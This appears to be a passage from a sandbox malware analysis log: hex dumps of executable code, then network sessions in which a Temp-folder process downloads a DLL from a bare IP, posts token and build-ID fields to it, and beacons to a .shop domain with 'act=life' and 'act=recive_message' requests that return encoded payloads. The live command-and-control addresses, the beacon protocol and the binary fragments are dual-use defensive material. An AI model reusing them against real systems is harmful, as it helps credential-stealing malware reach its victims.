2024-05-24 07:43:47 UTC	16384	IN	Data Raw: 00 e9 21 07 00 00 3d 50 06 00 00 0f 8f aa 01 00 00 3d 51 05 00 00 74 2d 3d 52 05 00 00 74 12 3d 55 05 00 00 0f 85 0a 07 00 00 c7 47 0c 01 00 00 00 83 7b 04 00 0f 84 ec 06 00 00 83 7b 08 10 0f 85 e2 06 00 00 c7 47 18 10 00 00 00 83 7c 24 24 25 0f 85 fb 07 00 00 6a 11 ff 74 24 30 e8 44 c7 00 00 83 c4 08 85 c0 0f 84 78 09 00 00 89 c7 31 c0 81 3b 51 05 00 00 0f 95 c0 ff 77 1c 8b 4d 20 51 50 ff 73 04 ff 77 18 e8 09 1e ff ff 83 c4 14 8b 4c 24 28 89 41 64 57 e8 a9 c6 00 00 83 c4 04 8b 44 24 28 83 78 64 00 0f 84 bf 08 00 00 83 7d 20 00 b9 60 2a 00 10 ba 20 2a 00 10 0f 44 d1 89 50 74 c7 80 84 00 00 00 e0 29 00 10 e9 eb 08 00 00 3d 09 21 00 00 0f 8e 1c 02 00 00 3d 0a 21 00 00 0f 84 08 02 00 00 3d 0b 21 00 00 0f 84 23 02 00 00 3d 21 40 00 00 0f 85 37 06 00 00 83 7c Data Ascii: !=P=Qt-=Rt=UG{{G\|$$%jt$0Dx1;QwM QPswL$(AdWD$(xd} `* *DPt)=!=!=!#=!@7\|
2024-05-24 07:43:47 UTC	16384	IN	Data Raw: 14 90 03 10 31 e8 89 45 f0 ff 75 08 e8 35 ab 00 00 83 c4 04 85 c0 74 5f 89 c6 8b 78 38 bb 91 00 00 00 85 ff 74 56 83 3f 03 75 51 8b 4d 18 8b 47 04 83 7d 14 00 74 59 8b 5d 0c 85 c0 74 64 89 ce 8b 4d 08 89 da 6a 03 ff 75 10 e8 47 fa ff ff 83 c4 08 89 c3 85 c0 75 24 56 ff 75 14 ff 75 08 e8 72 fd ff ff 83 c4 0c 89 c6 8b 4d f0 31 e9 e8 a3 8b 01 00 89 f0 eb 11 bb b3 00 00 00 8b 4d f0 31 e9 e8 90 8b 01 00 89 d8 83 c4 10 5e 5f 5b 5d c3 85 c0 74 06 83 7f 68 00 74 5a 81 c7 90 00 00 00 eb 55 8b 01 89 45 e8 8b 47 64 89 45 e4 8b 4f 74 ff 15 00 a0 03 10 8d 45 ec ff 75 10 53 ff 75 e8 50 ff 75 14 ff 75 e4 ff d1 83 c4 18 85 c0 74 32 e8 a1 8d 01 00 50 e8 eb 84 00 00 83 c4 04 8b 55 ec 8b 4d 18 89 11 bb 50 01 00 00 3d 50 01 00 00 74 8a eb 18 83 c7 60 8b 07 89 01 31 db e9 7a Data Ascii: 1Eu5t_x8tV?uQMG}tY]tdMjuGu$VuurM1M1^_[]thtZUEGdEOtEuSuPuut2PUMP=Pt`1z
2024-05-24 07:43:47 UTC	16384	IN	Data Raw: d8 00 00 00 00 c7 45 d4 04 00 00 00 eb 18 0f 1f 84 00 00 00 00 00 8b 47 fc 8b 00 89 45 d8 83 c7 0c 83 c6 ff 74 5a 8b 47 f8 85 c0 74 19 3d 61 01 00 00 74 e2 8b 4f fc eb 15 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 8b 4f fc 8b 11 89 55 d4 ff 37 51 50 ff 75 dc e8 8c 53 00 00 83 c4 10 85 c0 74 bd 89 c3 e9 80 01 00 00 bf 02 00 00 00 e9 83 01 00 00 c7 45 d4 04 00 00 00 c7 45 d8 00 00 00 00 8b 45 10 8b 4d 0c 83 ec 1c 0f 28 05 40 fb 02 10 0f 11 44 24 0c 89 44 24 08 89 4c 24 04 8b 45 08 89 04 24 e8 fe 7c ff ff 83 c4 1c 85 c0 74 0c 89 c3 ff 75 dc e8 7d 5a 00 00 eb 3d 8b 7d 18 8b 5d 14 57 e8 8b 4d 01 00 83 c4 04 89 c6 89 7d ec 8d 45 ec 50 56 57 53 ff 75 08 e8 e8 9a ff ff 83 c4 14 85 c0 74 26 89 c3 ff 75 dc e8 47 5a 00 00 83 c4 04 56 e8 78 4d 01 00 83 c4 04 83 fb 40 bf Data Ascii: EGEtZGt=atOf.OU7QPuStEEEM(@D$D$L$E$\|tu}Z=}]WM}EPVWSut&uGZVxM@
2024-05-24 07:43:47 UTC	16384	IN	Data Raw: 8b 48 38 b8 91 00 00 00 85 c9 74 4a 83 39 02 75 45 83 79 04 00 74 3f 8b 55 0c 8b 59 6c 83 c3 08 89 1f 31 c0 85 d2 74 2e b8 50 01 00 00 39 de 72 25 8b 01 89 02 8b 41 70 89 42 04 83 c2 08 ff 71 6c ff 71 64 52 e8 cc 0f 01 00 83 c4 0c 31 c0 eb 05 b8 b3 00 00 00 5e 5f 5b 5d c3 cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 ec 10 8b 7d 10 a1 14 90 03 10 31 e8 89 45 f0 85 ff 0f 84 2d 01 00 00 8b 5d 0c 8b 33 ff 75 08 e8 b5 2a 00 00 83 c4 04 b9 b3 00 00 00 85 c0 0f 84 12 01 00 00 83 fe 0a 0f 87 f7 00 00 00 b9 78 06 00 00 0f a3 f1 73 12 8d 48 38 eb 1a 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 b9 83 01 00 00 0f a3 f1 73 e4 8d 48 34 8b 09 83 fe 0a 77 2f ba 78 06 00 00 0f a3 f2 73 12 83 c0 38 eb 1a 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 ba 83 01 00 00 0f a3 f2 73 Data Ascii: H8tJ9uEyt?UYl1t.P9r%ApBqlqdR1^_[]USWV}1E-]3u*xsH8f.sH4w/xs8f.s
2024-05-24 07:43:47 UTC	16384	IN	Data Raw: cc cc cc cc cc cc 55 89 e5 53 57 56 ff 75 08 e8 c2 d8 ff ff 83 c4 04 85 c0 0f 84 9c 03 00 00 89 c6 c7 40 24 00 00 00 00 bf 02 00 00 00 83 78 0c 00 0f 88 54 03 00 00 ff 76 34 ff 15 f0 7b 03 10 83 c4 04 8b 46 34 8b 5e 40 8d 4b 01 89 4e 40 50 ff 15 10 7c 03 10 83 c4 04 83 fb 2c 0f 8f 29 03 00 00 6b c3 54 8d 0c 06 83 c1 64 89 4c 06 5c c7 44 06 64 57 43 53 ce c7 44 06 60 04 00 00 00 c7 44 06 58 00 00 00 00 c7 44 06 54 00 00 00 00 0f 57 c0 0f 11 44 06 44 83 7e 0c 00 0f 88 ea 02 00 00 8d 1c 06 83 c3 44 ff 76 34 ff 15 f0 7b 03 10 83 c4 04 69 4b 10 c5 90 c6 6a 8b 86 0c 0f 00 00 83 c0 ff 21 c8 8b 8c 86 10 0f 00 00 89 0b c7 43 04 00 00 00 00 8b 8c 86 10 0f 00 00 85 c9 74 03 89 59 04 89 9c 86 10 0f 00 00 ff 76 34 ff 15 10 7c 03 10 83 c4 04 83 7e 0c 00 0f 88 8b 02 00 Data Ascii: USWVu@$xTv4{F4^@KN@P\|,)kTdL\DdWCSD`DXDTWDD~Dv4{iKj!CtYv4\|~
2024-05-24 07:43:47 UTC	16384	IN	Data Raw: 00 89 f8 81 c4 3c 01 00 00 5e 5f 5b 5d c3 cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 89 d6 89 cf 8b 5d 08 8b 4b 24 ff 15 00 a0 03 10 ff 75 14 ff 75 10 ff 75 0c 53 ff d1 83 c4 10 85 c0 75 1e 31 c0 39 5e 34 0f 94 c0 89 f9 89 f2 ff 75 14 ff 75 10 ff 75 0c 50 e8 1c 2b 00 00 83 c4 10 5e 5f 5b 5d c3 cc cc cc cc 55 89 e5 53 57 56 83 ec 10 8b 45 08 8b 0d 14 90 03 10 31 e9 89 4d f0 c7 45 ec 00 00 00 00 85 c0 74 63 8b 75 10 8b 58 34 85 db 74 5d 85 f6 74 5f 8b 4d 0c 8d 45 e8 8d 7d ec 89 f2 50 57 e8 8e 00 00 00 83 c4 08 85 c0 74 60 89 c7 8b 45 ec 89 45 e4 8b 4b 14 ff 15 00 a0 03 10 ff 75 14 56 57 53 8b 5d e4 ff d1 83 c4 10 89 c6 85 db 74 40 57 e8 96 8d 00 00 83 c4 04 ff 75 e8 53 e8 b4 8d 00 00 83 c4 08 eb 29 31 f6 eb 25 8b 18 85 f6 75 a1 8b 4b 14 ff 15 00 a0 03 10 ff Data Ascii: <^_[]USWV]K$uuuSu19^4uuuP+^_[]USWVE1MEtcuX4t]t_ME}PWt`EEKuVWS]t@WuS)1%uK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
166	192.168.2.4	50035	78.47.123.174	443	7400	C:\Users\user\AppData\Local\Temp\katC73D.tmp

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:43:48 UTC	178	OUT	GET /vcruntime140.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 78.47.123.174 Cache-Control: no-cache
2024-05-24 07:43:48 UTC	245	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 07:43:48 GMT Content-Type: application/octet-stream Content-Length: 80880 Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT Connection: close ETag: "6315a9f4-13bf0" Accept-Ranges: bytes
2024-05-24 07:43:48 UTC	16139	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"
2024-05-24 07:43:48 UTC	16384	IN	Data Raw: ff ff eb 1e 0f b6 4e 03 0f b6 42 03 2b c8 74 12 33 c0 85 c9 0f 9f c0 8d 0c 45 ff ff ff ff eb 02 33 c9 85 c9 0f 85 6f 05 00 00 8b 46 04 3b 42 04 74 4f 0f b6 f8 0f b6 42 04 2b f8 75 18 0f b6 7e 05 0f b6 42 05 2b f8 75 0c 0f b6 7e 06 0f b6 42 06 2b f8 74 10 33 c9 85 ff 0f 9f c1 8d 0c 4d ff ff ff ff eb 1e 0f b6 4e 07 0f b6 42 07 2b c8 74 12 33 c0 85 c9 0f 9f c0 8d 0c 45 ff ff ff ff eb 02 33 c9 85 c9 0f 85 0e 05 00 00 8b 46 08 3b 42 08 74 4f 0f b6 f8 0f b6 42 08 2b f8 75 18 0f b6 7e 09 0f b6 42 09 2b f8 75 0c 0f b6 7e 0a 0f b6 42 0a 2b f8 74 10 33 c9 85 ff 0f 9f c1 8d 0c 4d ff ff ff ff eb 1e 0f b6 4e 0b 0f b6 42 0b 2b c8 74 12 33 c0 85 c9 0f 9f c0 8d 0c 45 ff ff ff ff eb 02 33 c9 85 c9 0f 85 ad 04 00 00 8b 46 0c 3b 42 0c 74 4f 0f b6 f8 0f b6 42 0c 2b f8 75 18 Data Ascii: NB+t3E3oF;BtOB+u~B+u~B+t3MNB+t3E3F;BtOB+u~B+u~B+t3MNB+t3E3F;BtOB+u
2024-05-24 07:43:49 UTC	16384	IN	Data Raw: 08 00 00 59 6a 28 8d 4d 80 8b f0 e8 67 f3 ff ff 56 8d 4d f0 51 8b c8 e8 0a f7 ff ff 6a 29 8d 85 70 ff ff ff 50 8d 4d f0 e8 1b f7 ff ff 50 8d 4d f8 e8 78 f7 ff ff 81 7d dc 00 08 00 00 75 1a 8b c3 25 00 07 00 00 3d 00 02 00 00 74 0c 8d 45 98 50 8d 4d f8 e8 55 f7 ff ff a1 98 f2 00 10 c1 e8 13 f7 d0 a8 01 8d 45 cc 50 74 11 e8 92 2e 00 00 59 50 8d 4d f8 e8 34 f7 ff ff eb 0f e8 81 2e 00 00 59 50 8d 4d f8 e8 9f f8 ff ff 8d 45 cc 50 e8 69 23 00 00 59 50 8d 4d f8 e8 10 f7 ff ff a1 98 f2 00 10 c1 e8 08 f7 d0 a8 01 8d 45 cc 50 74 11 e8 30 3e 00 00 59 50 8d 4d f8 e8 ef f6 ff ff eb 0f e8 1f 3e 00 00 59 50 8d 4d f8 e8 5a f8 ff ff 8d 45 cc 50 e8 6a 19 00 00 59 50 8d 4d f8 e8 47 f8 ff ff a1 98 f2 00 10 c1 e8 02 f7 d0 a8 01 74 20 85 ff 74 1c 8b 45 f8 89 07 8b 45 fc 89 47 Data Ascii: Yj(MgVMQj)pPMPMx}u%=tEPMUEPt.YPM4.YPMEPi#YPMEPt0>YPM>YPMZEPjYPMGt tEEG
2024-05-24 07:43:49 UTC	16384	IN	Data Raw: 0f 83 fa 10 74 15 b8 ff ff 00 00 e9 f7 01 00 00 81 c9 80 00 00 00 eb 03 83 c9 40 83 e0 06 2b c7 0f 84 df 01 00 00 2b c6 74 1e 2b c6 74 0f 2b c6 75 d4 81 c9 00 04 00 00 e9 c8 01 00 00 81 c9 00 01 00 00 e9 bd 01 00 00 81 c9 00 02 00 00 e9 b2 01 00 00 2b c6 75 af 8d 51 01 89 15 90 f2 00 10 8a 02 3c 30 7c 2a 3c 39 7f 26 0f be c0 83 c2 d1 03 c2 a3 90 f2 00 10 e8 8c fe ff ff 0d 00 00 01 00 e9 81 01 00 00 b8 fe ff 00 00 e9 77 01 00 00 b9 ff ff 00 00 e9 dc 00 00 00 83 f8 2f 0f 8e 63 ff ff ff 8b f2 83 f8 35 7e 62 83 f8 41 0f 85 53 ff ff ff 81 c9 00 90 00 00 e9 b8 00 00 00 b9 fe ff 00 00 4a e9 ad 00 00 00 81 c9 00 98 00 00 e9 a2 00 00 00 83 e8 43 0f 84 94 00 00 00 83 e8 01 0f 84 83 00 00 00 83 e8 01 74 76 83 e8 0d 0f 85 12 ff ff ff 42 89 15 90 f2 00 10 8b f2 8a 0a Data Ascii: t@++t+t+u+uQ<0\|*<9&w/c5~bASJCtvB
2024-05-24 07:43:49 UTC	15589	IN	Data Raw: ae e8 7c cd cc c1 be ea d2 ff 35 4e c0 ce b5 7a ad bb a6 bb 2e dc 94 e9 f3 1e 7d e0 ec 28 a3 07 82 66 5a c3 5b 5a cb ec 03 c9 e3 2c 94 15 21 2b a0 f9 d9 9b 4b e7 b6 de eb 20 51 8c 3e fa 2c 23 d5 18 b0 f0 b1 a0 70 6c 7a ef 8b 83 48 a6 3a 02 06 ef a0 8a 2c b7 88 45 30 82 05 ff 30 82 03 e7 a0 03 02 01 02 02 13 33 00 00 01 51 9e 8d 8f 40 71 a3 0e 41 00 00 00 00 01 51 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 7e 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 28 30 26 06 03 55 04 03 13 1f 4d 69 63 72 6f 73 6f 66 74 20 43 6f 64 65 20 53 69 67 6e 69 6e Data Ascii: \|5Nz.}(fZ[Z,!+K Q>,#plzH:,E003Q@qAQ0*H0~10UUS10UWashington10URedmond10UMicrosoft Corporation1(0&UMicrosoft Code Signin

Session ID	Source IP	Source Port	Destination IP	Destination Port
167	192.168.2.4	50038	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:43:50 UTC	270	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: employhabragaomlsp.shop
2024-05-24 07:43:50 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-05-24 07:43:50 UTC	808	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:43:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=r06pgirogaq20tmnq6f609h54b; expires=Tue, 17-Sep-2024 01:30:29 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZbDRVl0cJQXrPpfugp3nPOkECOFEuMfkTIfA9f%2BwZUFZF2bLWrXcvB5djXEo4El6POf2ZHV3lmKmQ9d11qhIZBJyF0dcX4h58E7nVsDrmYopKOwkfjmMg0wWtqj5Y2RGWKj310FUEPoWwA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888ba832cb1f7c69-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 07:43:50 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-05-24 07:43:50 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
168	192.168.2.4	50037	78.47.123.174	443	7400	C:\Users\user\AppData\Local\Temp\katC73D.tmp

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:43:50 UTC	279	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKJEBAAECBGDHIECAKJK User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 78.47.123.174 Content-Length: 1145 Connection: Keep-Alive Cache-Control: no-cache
2024-05-24 07:43:50 UTC	1145	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 4a 45 42 41 41 45 43 42 47 44 48 49 45 43 41 4b 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 36 33 38 39 34 32 30 30 64 35 38 35 31 63 36 38 31 33 63 39 61 65 39 63 31 63 32 65 37 65 31 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4a 45 42 41 41 45 43 42 47 44 48 49 45 43 41 4b 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 34 32 64 30 36 31 38 33 30 34 61 38 38 64 36 34 37 36 62 63 35 35 64 33 33 63 32 33 64 37 65 36 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4a 45 42 41 41 45 43 42 47 44 48 49 45 43 41 4b 4a 4b 0d 0a 43 6f 6e 74 Data Ascii: ------KKJEBAAECBGDHIECAKJKContent-Disposition: form-data; name="token"a63894200d5851c6813c9ae9c1c2e7e1------KKJEBAAECBGDHIECAKJKContent-Disposition: form-data; name="build_id"42d0618304a88d6476bc55d33c23d7e6------KKJEBAAECBGDHIECAKJKCont
2024-05-24 07:43:51 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 07:43:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-05-24 07:43:51 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port
169	192.168.2.4	50042	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:43:51 UTC	271	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 49 Host: employhabragaomlsp.shop
2024-05-24 07:43:51 UTC	49	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 48 38 4e 67 43 6c 2d 2d 26 6a 3d 64 65 66 61 75 6c 74 Data Ascii: act=recive_message&ver=4.0&lid=H8NgCl--&j=default
2024-05-24 07:43:51 UTC	812	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:43:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=oc14pakp37bk8gs79a020o98lu; expires=Tue, 17-Sep-2024 01:30:30 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Qc2O6Nw1hzcyNghMG9x9X4CTwYbv2Lps18ZUJ%2FRKxYU0qHSaX9NIE3arNVGhN9LFKJYxUuEPU8E16OoOYRcSZqd39Lewy7FJEuyrR6XG2j0w8k%2BKSGCgtrFYTZjmX9pT%2BXK3VhpUp0WFvQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888ba8396e134369-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 07:43:51 UTC	557	IN	Data Raw: 35 30 61 0d 0a 4c 54 6c 52 4a 6a 59 4a 4c 2b 46 54 79 59 4a 44 70 67 52 41 36 42 65 75 71 44 6f 5a 74 38 70 62 51 55 38 4b 52 30 50 47 56 47 70 57 4d 31 67 45 51 43 73 56 77 57 66 6c 69 45 71 45 64 79 58 4b 4c 59 37 63 53 47 7a 53 35 6c 46 49 62 57 73 6a 59 66 78 30 44 45 78 56 49 6b 4d 61 41 79 62 44 50 72 47 67 65 59 5a 66 53 75 46 73 70 4b 45 7a 4f 39 4b 6b 65 58 74 76 4b 44 41 6d 70 44 45 53 57 56 77 2f 56 56 39 6d 51 61 45 2b 72 50 59 69 79 32 55 7a 67 7a 6e 48 78 78 67 31 76 63 4e 53 59 79 70 77 5a 58 6e 6d 64 69 64 49 54 54 42 72 56 33 70 45 77 33 2f 44 69 30 71 45 59 54 54 4b 4c 59 36 4b 5a 6a 76 48 71 79 6b 67 49 6e 6b 62 59 66 77 76 4e 67 39 51 4a 55 4e 45 61 46 75 49 50 4b 66 78 48 34 51 2b 64 74 67 6e 6e 70 67 4b 5a 4a 58 41 55 6a 78 46 41 78 Data Ascii: 50aLTlRJjYJL+FTyYJDpgRA6BeuqDoZt8pbQU8KR0PGVGpWM1gEQCsVwWfliEqEdyXKLY7cSGzS5lFIbWsjYfx0DExVIkMaAybDPrGgeYZfSuFspKEzO9KkeXtvKDAmpDESWVw/VV9mQaE+rPYiy2UzgznHxxg1vcNSYypwZXnmdidITTBrV3pEw3/Di0qEYTTKLY6KZjvHqykgInkbYfwvNg9QJUNEaFuIPKfxH4Q+dtgnnpgKZJXAUjxFAx
2024-05-24 07:43:51 UTC	740	IN	Data Raw: 64 67 39 44 47 32 73 47 46 47 31 44 67 6a 79 72 38 69 6e 50 62 53 65 59 66 73 58 48 56 58 76 59 6f 6a 59 67 4c 57 38 76 4b 36 73 38 44 45 4a 57 4e 55 52 55 4b 77 50 72 57 73 43 67 4a 74 77 6d 65 73 67 31 37 38 39 49 66 4e 6d 2b 65 78 6c 74 41 45 34 2b 36 6c 31 4b 44 54 4e 59 58 54 77 41 4a 73 4d 32 70 36 42 35 68 69 59 71 6a 33 62 50 77 56 64 34 33 61 4d 72 49 7a 39 75 4b 43 53 32 4d 41 31 42 55 54 42 57 58 6d 56 4c 67 44 69 67 36 53 54 44 59 6d 4c 45 48 61 65 68 47 48 7a 4e 36 47 46 68 62 55 6b 6f 4b 71 67 38 48 30 38 62 57 79 39 4c 4a 53 58 6f 4b 4d 4f 4c 53 6f 52 68 4c 73 6f 74 6a 6f 70 63 65 74 47 70 50 53 30 6a 62 43 6b 6e 71 6a 73 48 53 56 45 7a 51 31 35 6a 52 59 49 38 6f 4f 38 68 77 57 73 6d 6a 48 6e 4e 7a 78 67 31 76 63 4e 53 59 79 70 77 5a 58 6e Data Ascii: dg9DG2sGFG1Dgjyr8inPbSeYfsXHVXvYojYgLW8vK6s8DEJWNURUKwPrWsCgJtwmesg1789IfNm+exltAE4+6l1KDTNYXTwAJsM2p6B5hiYqj3bPwVd43aMrIz9uKCS2MA1BUTBWXmVLgDig6STDYmLEHaehGHzN6GFhbUkoKqg8H08bWy9LJSXoKMOLSoRhLsotjopcetGpPS0jbCknqjsHSVEzQ15jRYI8oO8hwWsmjHnNzxg1vcNSYypwZXn
2024-05-24 07:43:51 UTC	1369	IN	Data Raw: 33 38 61 61 0d 0a 31 5a 77 50 6c 4a 72 77 31 69 6a 58 6d 4d 6b 68 6f 37 30 36 51 38 4c 43 4e 6f 4b 79 43 70 4d 41 78 43 57 79 46 43 52 6d 78 4d 67 44 4b 74 35 53 58 45 5a 79 65 50 63 63 54 4f 56 48 53 56 35 6c 46 49 52 69 67 69 4f 65 52 75 53 67 39 30 4a 45 70 43 59 46 6d 45 49 62 72 61 59 2f 46 6c 4c 49 52 79 32 6f 6f 77 45 4d 72 6d 55 55 67 30 41 45 35 4b 35 44 45 45 44 77 4e 78 42 46 31 35 58 34 63 33 6f 4f 73 7a 31 6d 77 6d 69 33 54 4c 78 56 6c 77 30 4b 51 7a 4b 43 6c 36 4c 53 69 6e 4a 41 78 50 55 44 6c 43 46 43 55 6c 36 46 72 72 35 7a 6d 45 50 6d 44 4b 55 63 48 61 56 48 44 44 72 79 6b 57 4c 6d 59 72 4a 72 4a 32 59 43 52 45 66 53 77 2f 63 69 58 6f 57 75 76 6e 4c 59 51 2b 59 4d 70 36 77 38 56 51 65 39 53 73 4e 43 63 73 5a 53 6b 6f 70 7a 6f 45 52 31 59 Data Ascii: 38aa1ZwPlJrw1ijXmMkho706Q8LCNoKyCpMAxCWyFCRmxMgDKt5SXEZyePccTOVHSV5lFIRigiOeRuSg90JEpCYFmEIbraY/FlLIRy2oowEMrmUUg0AE5K5DEEDwNxBF15X4c3oOsz1mwmi3TLxVlw0KQzKCl6LSinJAxPUDlCFCUl6Frr5zmEPmDKUcHaVHDDrykWLmYrJrJ2YCREfSw/ciXoWuvnLYQ+YMp6w8VQe9SsNCcsZSkopzoER1Y
2024-05-24 07:43:51 UTC	1369	IN	Data Raw: 6b 47 49 50 65 6e 56 49 73 70 6f 4a 5a 77 31 70 4b 46 48 4e 62 33 44 49 45 74 47 41 32 55 6d 71 48 5a 51 44 52 73 38 52 56 6c 68 52 6f 30 39 71 75 41 6c 78 32 77 69 68 58 44 4b 77 6c 46 37 78 36 38 32 49 69 78 6a 4c 69 79 71 4d 77 6c 4b 58 48 4d 4b 50 41 41 6d 77 7a 61 7a 6f 48 6d 47 4a 67 2b 6a 54 34 79 69 4d 32 53 62 77 46 49 36 52 51 4e 4f 59 61 4d 36 53 42 63 5a 63 30 42 65 61 30 43 4a 4f 71 54 6a 4a 73 70 6d 4c 34 42 6e 78 4d 70 59 64 64 4f 70 4e 53 59 73 5a 43 59 7a 71 44 41 46 53 56 4d 68 42 42 6f 44 4a 75 68 78 72 50 68 68 6e 43 52 69 71 6e 37 41 79 56 52 36 30 75 6f 59 4b 53 35 6a 4b 57 4f 52 4e 51 5a 42 58 43 55 45 50 41 42 53 7a 56 6e 41 2b 55 6d 76 44 57 4b 4e 65 59 79 53 47 6a 76 52 72 44 55 6a 4b 6d 59 68 4a 36 6b 78 41 30 4a 52 4e 45 68 64 Data Ascii: kGIPenVIspoJZw1pKFHNb3DIEtGA2UmqHZQDRs8RVlhRo09quAlx2wihXDKwlF7x682IixjLiyqMwlKXHMKPAAmwzazoHmGJg+jT4yiM2SbwFI6RQNOYaM6SBcZc0Bea0CJOqTjJspmL4BnxMpYddOpNSYsZCYzqDAFSVMhBBoDJuhxrPhhnCRiqn7AyVR60uoYKS5jKWORNQZBXCUEPABSzVnA+UmvDWKNeYySGjvRrDUjKmYhJ6kxA0JRNEhd
